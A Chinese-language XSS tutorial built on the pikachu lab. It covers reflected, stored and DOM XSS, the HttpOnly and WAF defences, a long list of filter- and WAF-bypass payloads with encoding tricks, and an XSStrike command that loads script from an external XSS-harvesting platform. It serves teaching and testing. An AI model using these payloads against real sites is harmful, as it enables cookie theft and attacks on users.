???????????????????????xss漏洞
前言
??? ???个人观点,若有误请指教
简介
- Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS,XSS是web安全中最为常见的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
- XSS(跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而达到恶意攻击用户的目的。
- 通俗来讲:XSS漏洞是通过php的输出函数将JS代码(这里指的反射型和存储型,而DOM性是不经过后端的)输出到html页面中,通过用户本地浏览器执行的(看到js就直接执行,不会进行检验),所以关键就是寻找参数未过滤的输出函数。
- 常见的输出函数有: ①echo ②printf ③print ④print_r ⑤sprintf ⑥die ⑦var-dump ⑧var_export
- 一般XSS可以分为如下几种常见类型:
① 反射型XSS; ② 存储型XSS; ③ DOM型XSS;
环境搭建
-
pikachu靶场(链接:https://pan.baidu.com/s/1zVfP-WrvT5Tnny24AEXccg 提取码:lzjy) 注:初始化时访问install.php即可。靶场来自https://github.com/zhuifengshaonianhanlu/pikachu -
Burp Suite(自寻教程安装)
反射型XSS
介绍
- 原理:该XSS是非持久化的,攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码。
- 触发条件:①网站存在xss漏洞。
?????????②浏览器内核版本(不阻止脚本运行)。 ?????????③管理员短时间内有登录(产生了cookie或session)。 ?????????④网站没有防护(有的可以通过一些手段绕过)。 ?????????⑤管理员需要点击构造好的URL地址。 - 基于上面的触发条件,反射型xss攻击显得很鸡肋,限制条件太多。
实操
反射-GET
- 查看页面代码
- 正常输入,进行抓包查看
- 将包发送,查看结果
- 测试是否存在xss漏洞(
<script>alert(1)</script> )
反射-POST
存储型XSS
介绍
- 原理:该XSS是持久化的, 代码是存储在服务器。
- 触发条件:①当用户(管理员)访问服务器中已经被注入JS代码的页面。
?????????②浏览器内核版本(不阻止脚本运行)。 - 常用地方:留言板,订单信息(管理员要进行查看)等地方。
实操
DOM型XSS
介绍
- 原理:该XSS与前面两种不同,其操作是不与后端进行交互的,是由前端代码(通过DOM树的相关语法)来实现的。
- 触发条件:①页面的改变是由DOM树改变(即存在漏洞)
?????????②浏览器内核版本(不阻止脚本运行) - 这好像只能自娱自乐,因为它也是非持久性的(点一次就会消失,只能重新产生)而且还不像反射型那样可以构造一个URL地址去诱使人去点击。
实操
反射-POST
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>
- 测试是否存在漏洞(
' onclick="alert('xss')"> )
反射-GET
<div id="xssd_main">
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
</div>
<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>
- 测试是否存在漏洞(
' onclick="alert('xss')"> )
注:是点击’>就让···随风吧才会弹窗且点完会消失。
xss平台和工具
xss平台:https://xsshs.cn/xss.php?do=login
postman:https://app.getpostman.com/app/download/win64
Kali中的Beef(安装教程:https://blog.csdn.net/weixin_43847838/article/details/110312851)
xss的防护
- xss漏洞的常见的防护手段有:
① 代码过滤; ② http only; ③ WAF拦截;
代码过滤
http only
- HttpOnly是Cookie的属性,设置之后Cookie是无法被JS读取到的,这样可以防止恶意脚本获取到cookie值。
- PHP设置方法(转自此博客)
PHP中的设置 ① PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中将session.cookie_httponly 设置为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启:
<?php
ini_set("session.cookie_httponly", 1);
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
?>
Cookie操作函数setcookie函数和setrawcookie函数也专门添加了第7个参数来做为HttpOnly的选项,开启方法为:
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
② 对于PHP5.1以前版本以及PHP4版本的话,则需要通过header函数来变通下了:
<?php
header("Set-Cookie: hidden=value; httpOnly");
?>
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
设置完毕后通过js脚本是读不到该cookie的,但使用如下方式可以读取
Cookie cookies[]=request.getCookies();
WAF拦截
- WAF含义—Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
- 常见的waf拦截页面
xss的绕过
代码过滤
该部分内容转自此博客
-
该绕过是指确保用户想输入到网页的东西不被后端给过滤掉。(网页一般流程:用户输入-后端-前端) -
过滤空格 用/代替空格 <img/src=“x”/οnerrοr=alert(“xss”);> -
过滤关键字 ①大小写绕过 <ImG sRc=x onerRor=alert(“xss”);> ②双写关键字(利用有些检查只检查一次) <imimgg srsrcc=x οnerrοr=alert(“xss”);> ③字符拼接
//利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
//利用top
<script>top["al"+"ert"](`xss`);</script>
??????④其它字符混淆
可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
??????注:使用其它字符去混淆我们注入的代码
??????⑤编码绕过
1.Unicode编码绕过(编码转换:https://tool.oschina.net/encode 第一个为Unicode 第二个为ASCll)
<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
2.url编码绕过
//unescape为解码函数
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
//代码含义:https://www.cnblogs.com/soleyy/p/7158976.html
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
3.Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
4.hex绕过(16进制)
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
5.八进制
<img src=x onerror=alert('\170\163\163')>
6.base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
-
过滤双引号,单引号 ①使用反引号代替单双引号 <img src=“x” οnerrοr=alert(`xss`);> ②使用编码绕过(与上面的基本一致) -
过滤括号 <svg/οnlοad=“window.οnerrοr=eval;throw’=alert\x281\x29’;”> 注:\x281\x29解码后为(1) -
过滤url地址 ①使用url编码 <img src=“x” οnerrοr=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> ②使用IP
1.十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
5.使用\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议
6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
http only
WAF拦截
自动化工具说明(XSStrike)
- 工具下载:https://github.com/s0md3v/XSStrike
注:下载完成,在其目录下打开cmd窗口,输入pip3 install -r requirements.txt - 使用手册:https://www.freesion.com/article/53831384306/
- 实操:
-python xsstrike.py -u "http://xss.test/level.php?name=" --fuzzer (该模糊器旨在测试过滤器和Web应用程序防火墙。name值有没有都无所谓) -python xsstrike.py -u "http://xss.test/level1.php?name=<script t sRC=//xsshs.cn/3iwX>" 注:xssstrike会列出很多payload,若没有一定的基础,只能一个个测试进行选择。有些playload很难引入外部的XSS平台的XSS代码。
Burp suite暴力跑
Session与Cookie
- 当用户登录时,服务端会产生session并将其标识(session id)发给浏览器,浏览器将其保存在cookie中。
- 而登录后在访问时,服务端有两种验证:cookie验证和session验证。session验证是根据session id查询当前服务端有没有对应的session;cookie验证是判断cookie是否为空(只看了一个例子,可能理解有误)
- session保存在服务端,用户不可见,有效期可设置,默认30分钟;
- cookie保存在客户端,用户可以看到;
- session的生命周期是一个会话(从打开浏览器到关闭浏览器),cookie的生命周期根据设置的过期时间值,如果没设置过期时间,则不会保存在本地,在关闭浏览器后即失效。
|